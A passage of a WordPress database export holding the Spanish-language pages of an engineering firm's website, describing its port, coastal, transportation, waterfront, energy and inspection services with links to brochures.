<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÓN DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÓN DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos de nuestra nación,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marítimas','','publish','open','open','','ports-harbors-marine-terminals','','','2012-09-06 09:39:13','2012-09-06 09:39:13','',0,'http://moffattnichol.com/spanish/?page_id=48',5,'page','',0),(51,1,'2011-10-18 11:25:18','2011-10-18 11:25:18','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hídricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingeniería en el mundo en adoptar el concepto de ingeniería costera moderna: modelación, comprensión y diseño para los procesos que dan forma a nuestras líneas costeras, puertos y ríos. Hoy en día, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en Norteamérica. Nuestros ingenieros de recursos costeros, medioambientales e hídricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protección de riberas, gestión regional de la arena, restauración del ecosistema, gestión de material dragado y su reutilización beneficiosa, navegación de buques, operaciones de amarre y atraque, recursos hídricos y gestión de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climático, los especialistas en recursos costeros, medioambientales e hídricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prácticas para estos desafíos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hídricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÉCNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÁTICO</strong><br />\r\n                Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hídricos','','publish','open','open','','coastal-environmental-water-resources','','','2012-09-03 05:54:27','2012-09-03 05:54:27','',0,'http://moffattnichol.com/spanish/?page_id=51',6,'page','',0),(54,1,'2011-10-18 11:31:50','2011-10-18 11:31:50','<div class=\"content_faq\"> [anything_slides cat=transportation width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3 id=\"1\">transporte</h3> Habiendo completado proyectos de movimiento de mercancías y de transporte, tanto dentro como más allá del campo tradicional del transporte, la práctica de Moffatt & Nichol reúne los conocimientos de ingeniería civil y estructural de la firma con nuestra singular comprensión de la infraestructura del movimiento de mercancías. Moffatt & Nichol ofrece una gama completa de servicios integrados y proporciona el planeamiento y el diseño para todos los aspectos de calzadas, carreteras, vías férreas y puentes, así como instalaciones intermodales y estructuras relacionadas. Nuestras habilidades técnicas son incrementadas por nuestras capacidades de economía del transporte, que incluyen análisis del financiamiento y de la obtención de fondos, estudios de mercado y pronóstico de la carga terrestre y de contenedores. Aportamos creatividad e innovación a cada misión y nuestra cartera de proyectos presenta tareas complejas y desafiantes que incluyen algunos de los intercambios y rutas de carga más transitados así como los puentes con mayor tráfico en el mundo.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/transportation-services/\">Examinar los servicios de transporte, puentes y ferrocarriles >></a></div>\r\n    &nbsp; <h3 id=\"2\">puentes</h3> Construidos para permitir el transporte por encima de obstáculos físicos, los puentes son un componente básico de todas las redes de transporte que pueden abarcar desde una estructura simple que cruza un riachuelo en su vecindario hasta una estructura representativa utilizada como fondo en anuncios publicitarios. Moffatt & Nichol proporciona capacidades de ingeniería estructural para el planeamiento y el diseño de una amplia gama de puentes. \r\n    \r\n  \r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/roads-bridges-services/\">Examinar los servicios de puentes >></a></div>\r\n    &nbsp; <h3 id=\"3\">ferrocarriles</h3> Los sistemas ferroviarios de carga y pasajeros siguen estando a la vanguardia del desarrollo económico, así como la tendencia hacia el tren suburbano como método más sostenible de transporte. Moffatt & Nichol proporciona un conocimiento técnico especializado en el estudio y diseño en toda la gama del proyecto ferroviario - desde corredores de carga e instalaciones ferroviarias intermodales, hasta corredores de trenes suburbanos y estaciones de pasajeros. Nuestras capacidades relacionadas con ferrocarriles incluyen el planeamiento y la ingeniería para nuevas instalaciones y corredores así como la rehabilitación y modernización de las instalaciones y corredores existentes. La firma ha proporcionado una gama completa de servicios de desarrollo de proyectos ferroviarios que abarcan desde el análisis financiero hasta los servicios de construcción para clientes industriales, comerciales y militares, incluyendo autoridades ferroviarias y de transporte en Europa y América. Esta experiencia da a nuestro personal una amplia perspectiva cuando se trata de anticipar y evitar fallas en la ejecución de proyectos ferroviarios. Nuestras capacidades singularmente especializadas relacionadas con ferrocarriles incluyen la seguridad de pasos a nivel, el análisis de corredores, los impactos del tráfico y la logística de las operaciones.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/railroads-services/\">Examinar los servicios ferroviarios >></a></div>\r\n    &nbsp; <h3 id=\"4\">servicios consultivos comerciales globales</h3> Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/capabilities-and-expertise/\">Examinar los servicios consultivos comerciales globales >></a></div> \r\n  &nbsp;\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">CALIFICACIÓN DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Con más de sesenta años de experiencia, Moffatt &amp; Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Moffatt & Nichol se ha especializado en el planeamiento y diseño de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en Norteamérica, Europa,</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Transporte, puentes y ferrocarriles','','publish','open','open','','transportation-bridge-rail','','','2012-09-11 05:42:58','2012-09-11 05:42:58','',0,'http://moffattnichol.com/spanish/?page_id=54',7,'page','',0),(58,1,'2011-10-18 11:35:36','2011-10-18 11:35:36','<div class=\"content_faq\">\r\n       [anything_slides cat=urban-waterfronts-and-marinas width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n      \r\n       <div class=\"ports-left\">\r\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzó a participar en el desarrollo del frente de mar urbano a principios de la década de 1960 con la creación del puerto de Huntington en la parte sur de California. Desde que desarrolló este proyecto hace casi 50 años, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalización y el nuevo desarrollo de frentes de mar urbanos—incluyendo la evolución del puerto deportivo moderno y el diseño de puertos para pequeñas embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turísticos, parques ribereños y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuáticos, rampas para botes, paseos marítimos, amarres de buques históricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseño en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafíos involucrados al desarrollar las vías navegables y las líneas costeras del mundo.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n                Como los frentes costeros de hoy en día se convierten en catalizadores de la actividad económica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeña un papel crítico \r\n                </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\r\n                Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\r\n               <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n            \r\n        </div>\r\n  </div>        \r\n        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','publish','open','open','','urban-waterfronts-marinas','','','2012-09-03 06:03:38','2012-09-03 06:03:38','',0,'http://moffattnichol.com/spanish/?page_id=58',8,'page','',0),(60,1,'2011-10-18 11:36:09','2011-10-18 11:36:09','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n  <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eólicos costa afuera, incluyendo generadores de turbina eólica (WTG, por sus siglas en inglés)</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\" style=\"border:none !important\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Energía','','publish','open','closed','','energy','','','2012-09-06 12:42:34','2012-09-06 12:42:34','',0,'http://moffattnichol.com/spanish/?page_id=60',9,'page','',0),(62,1,'2011-10-18 11:36:45','2011-10-18 11:36:45','<div class=\"content_faq\">\r\n       [anything_slides cat=inspection-and-rehabilitation width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>inspección y rehabilitación</h3> Con años de experiencia a la vanguardia del diseño de rehabilitación de frentes costeros, Moffatt & Nichol ha desarrollado una minuciosa comprensión de los problemas históricos y de las técnicas de reparación ineficaces que son frecuentes en los proyectos de frentes costeros. Como una de las pocas firmas que se especializan tanto en la inspección submarina como en el diseño de ingeniería para estructuras de frentes costeros, Moffatt & Nichol mantiene un equipo de más de 40 ingenieros-buzos internos y con entrenamiento comercial, que proporcionan inspecciones submarinas y de la superestructura en forma rutinaria y regular. Estos ingenieros-buzos proporcionan una valiosa comprensión del funcionamiento y comportamiento de las estructuras de frentes costeros. Por lo tanto, no producimos planes de reparación a ciegas que consisten en parchar costras, 